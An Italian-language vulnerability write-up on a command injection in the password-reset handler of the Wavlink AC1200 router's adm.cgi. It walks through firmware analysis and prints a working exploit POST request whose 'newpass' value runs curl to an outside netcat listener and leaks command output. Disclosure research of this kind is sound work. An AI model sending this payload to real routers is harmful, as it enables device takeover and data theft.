
Wavlink AC1200 con versioni del firmware M32A3_V1410_230602 e M32A3_V1410_240222 è vulnerabile a un'iniezione di comandi post-autenticazione durante il reset della password. Questa vulnerabilità si trova specificamente nella funzione "set_sys_adm" del binario "adm.cgi" ed è dovuta a un'impropria sanitizzazione del campo "newpass" fornito dall'utente.
Durante una recente ricerca di sicurezza sul Wavlink AC1200 (Modello: WL-WN532A3), è stata identificata una vulnerabilità di iniezione di comandi post-autenticazione nell'endpoint "/cgi-bin/adm.cgi". Questa vulnerabilità potrebbe consentire ad attori malintenzionati che abbiano compromesso le credenziali del router di eseguire comandi shell arbitrari. Un numero CVE è attualmente in attesa di assegnazione per questa vulnerabilità.
Alla ricezione del router Wavlink AC1200, il firmware caricato è stato identificato come 'M32A3_V1410_230602'. Tuttavia, questa versione specifica del firmware non era disponibile sul sito ufficiale di supporto Wavlink. Wavlink ha fornito solo una versione del firmware, M32A3_V1410_240222, più recente di circa otto mesi. Durante l'analisi, si è deciso di studiare il firmware più recente disponibile, tentando comunque di sfruttare eventuali vulnerabilità sulla vecchia versione per confermare se le vulnerabilità identificate interessassero entrambe le versioni del firmware. Questo ha anche evitato la necessità di estrarre manualmente il firmware dal dispositivo. L'estrazione del file system root è stata eseguita semplicemente utilizzando la funzione di estrazione di 'binwalk'. Il firmware M32A3_V1410_240222 è disponibile per il download al seguente link: https://docs.wavlink.xyz/Firmware/fm-532a3/

La ricerca iniziale si è concentrata sull'identificazione della superficie di attacco per le iniezioni di comando. Sebbene molte chiamate a system, popen e a varie funzioni helper importate per eseguire comandi di sistema fossero presenti, molte erano semplicemente chiamate a script bash predefiniti in cui l'iniezione non era possibile. Tuttavia, una chiamata a system nella funzione set_sys_adm all'interno di /etc_ro/lighttpd/www/cgi-bin/adm.cgi ha subito sollevato sospetti a prima vista, poiché passava un array di caratteri formattato tramite sprintf. Dopo un esame più approfondito, è emerso che la funzione tentava di sanitizzare l'input di una password fornita dall'utente cercando il carattere ;. Tuttavia, questa sanitizzazione non tiene conto di altre tecniche di iniezione di comandi.
L'immagine seguente mostra il disassemblaggio di set_sys_adm. Alcuni nomi di variabili sono stati modificati per facilitare l'analisi di questa funzione. Dall'immagine si può vedere che la funzione recupera il campo password da una richiesta web alla riga 40, quindi verifica che non sia NULL, che non contenga un punto e virgola (;) e che non sia uguale alla password precedentemente memorizzata, alle righe 58-60. Questo valore viene quindi passato a una chiamata sprintf che costruisce un comando come il seguente: echo "<username.:<password>" > /etc/lighttpd.user. Questa stringa formattata viene poi passata direttamente a una chiamata a system.

Questa è stata un'ottima scoperta, ma era il momento di capire dove questa vulnerabilità potesse essere raggiunta dal portale web. È stato rapidamente identificato che questa funzione veniva chiamata quando si reimposta la password dalla pagina "Password di accesso".

Dopo aver identificato questa pagina web, la richiesta HTTP POST è stata catturata con Burp Suite. La richiesta si presenta come segue:
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Length: 82
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.1/set_safety.shtml?r=12980
Accept-Encoding: gzip, deflate, br
Cookie: session=420022404
Connection: keep-alive
page=sysAdm&username=admin&SYSPASS=asdfasdf&newpass=hellohello&NEWPASS2=hellohello
Ora che avevamo compreso la vulnerabilità di iniezione di comandi e individuato da dove era accessibile, era il momento di tentare lo sfruttamento. La seguente richiesta è stata inviata per forzare il router a effettuare una richiesta curl a un listener netcat, esfiltrando anche dati tramite il campo User Agent. Il comando prima della codifica URL e dell'inserimento nella richiesta è il seguente: curl http://192.168.1.6:4567/ -A $(pwd). Il comando inserito in una richiesta HTTP POST si presenta come segue:
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Length: 82
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.1/set_safety.shtml?r=76755
Accept-Encoding: gzip, deflate, br
Cookie: session=1783394974
Connection: keep-alive
page=sysAdm&username=admin&SYSPASS=asdfasdf&newpass=hellohello\"+%26%26+curl+http%3a//192.168.1.6%3a4567+-A+$(pwd)&NEWPASS2=hellohello
Dopo l'invio della richiesta, abbiamo ricevuto conferma che la vulnerabilità è sfruttabile.
